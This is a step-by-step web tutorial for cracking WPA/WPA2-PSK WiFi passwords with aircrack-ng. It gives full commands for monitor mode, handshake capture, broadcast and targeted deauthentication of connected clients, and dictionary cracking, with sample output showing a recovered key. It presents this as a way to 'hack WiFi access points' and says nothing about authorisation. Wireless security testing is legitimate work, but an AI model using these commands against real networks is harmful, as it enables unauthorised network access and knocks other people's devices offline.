If you want to know how to hack WiFi access points -- just read this step by step aircrack-ng tutorial, run the verified commands and crack passwords easily.

With the help a these commands you will be able to hack WiFi AP (access points) that use WPA/WPA2-PSK (pre-shared key) encryption.

The basis of this method of hacking WiFi lies in capturing of the WPA/WPA2 authentication handshake and then cracking the PSK using 'aircrack-ng'.

Section 1, Aircrack-ng: Download and Install

How to hack Wireless Access Points -- the action plan:

1. Download and install the latest aircrack-ng
2. Start the wireless interface in monitor mode using the airmon-ng
3. Start the airodump-ng on AP channel with filter for BSSID to collect authentication handshake
4. [Optional] Use the aireplay-ng to deauthenticate the wireless client
5. Run the aircrack-ng to hack the WiFi password by cracking the authentication handshake

Install the required dependencies:

$ sudo apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev

Download and install the latest aircrack-ng (current version):

$ wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz  -O - | tar -xz
$ cd aircrack-ng-1.2-rc4
$ sudo make
$ sudo make install

Ensure that you have installed the latest version of aircrack-ng:

$ aircrack-ng --help

  Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe
  http://www.aircrack-ng.org

Section 2, Airmon-ng: Monitor Mode

Now it is required to start the wireless interface in monitor mode.
Monitor mode allows a computer with a wireless network interface to monitor all traffic received from the wireless network.
What is especially important for us -- monitor mode allows packets to be captured without having to associate with an access point.
Find and stop all the processes that use the wireless interface and may cause troubles:

$ sudo airmon-ng check kill

Start the wireless interface in monitor mode:

$ sudo airmon-ng start wlan0
Interface   Chipset     Driver

wlan0       Intel 6235  iwlwifi - [phy0]
                (monitor mode enabled on mon0)

In the example above the airmon-ng has created a new wireless interface called mon0 and enabled on it monitor mode.
So the correct interface name to use in the next parts of this tutorial is the mon0.

Section 3, Airodump-ng: Authentication Handshake

Now, when our wireless adapter is in monitor mode, we have a capability to see all the wireless traffic that passes by in the air.
This can be done with the airodump-ng command:

$ sudo airodump-ng mon0

All of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen:

CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe
66:77:88:99:00:11  -64      134     345   34   1  54e  WPA2 CCMP   PSK  SomeAP

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
00:11:22:33:44:55  GG:HH:II:JJ:KK:LL  -78    0 - 1      0       1
66:77:88:99:00:11  MM:NN:OO:PP:QQ:RR  -78    2 - 32      0       1

Start the airodump-ng on AP channel with the filter for BSSID to collect the authentication handshake for the access point we are interested in:

$ sudo airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w WPAcrack mon0 --ignore-negative-one

Now wait until airodump-ng captures a handshake.
If you want to speed up this process -- go to the step #4 in section 1 and try to force wireless client reauthentication.
After some time you should see the WPA handshake: 00:11:22:33:44:55 in the top right-hand corner of the screen.
This means that the airodump-ng has successfully captured the handshake:

CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46  WPA handshake: 00:11:22:33:44:55

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56

Section 4, Aireplay-ng: Deauthenticate Client

If you can't wait till airodump-ng captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP.
The wireless client will then hopefully reauthenticate with the AP and we'll capture the authentication handshake.

Send deauth to broadcast:

$ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0 --ignore-negative-one

Send directed deauth (attack is more effective when it is targeted):

$ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 --ignore-negative-one

Section 5, Aircrack-ng: Hack WiFi Password

Unfortunately there is no way except brute force to break WPA/WPA2-PSK encryption.
To hack WiFi password, you need a password dictionary.
And remember that this type of attack is only as good as your password dictionary.
You can download some dictionaries from here.

Crack the WPA/WPA2-PSK with the following command:

$ aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap

                     Aircrack-ng 1.2 beta3 r2393

               [00:08:11] 548872 keys tested (1425.24 k/s)

                       KEY FOUND! [ 987654321 ]

  Master Key    : 5C 9D 3F B6 24 3B 3E 0F F7 C2 51 27 D4 D3 0E 97
                   CB F0 4A 28 00 93 4A 8E DD 04 77 A3 A1 7D 15 D5

  Transient Key : 3A 3E 27 5E 86 C3 01 A8 91 5A 2D 7C 97 71 D2 F8
                   AA 03 85 99 5C BF A7 32 5B 2F CD 93 C0 5B B5 F6
                   DB A3 C7 43 62 F4 11 34 C6 DA BA 38 29 72 4D B9
                   A3 11 47 A6 8F 90 63 46 1B 03 89 72 79 99 21 B3

  EAPOL HMAC    : 9F B5 F4 B9 3C 8B EA DF A0 3E F4 D4 9D F5 16 62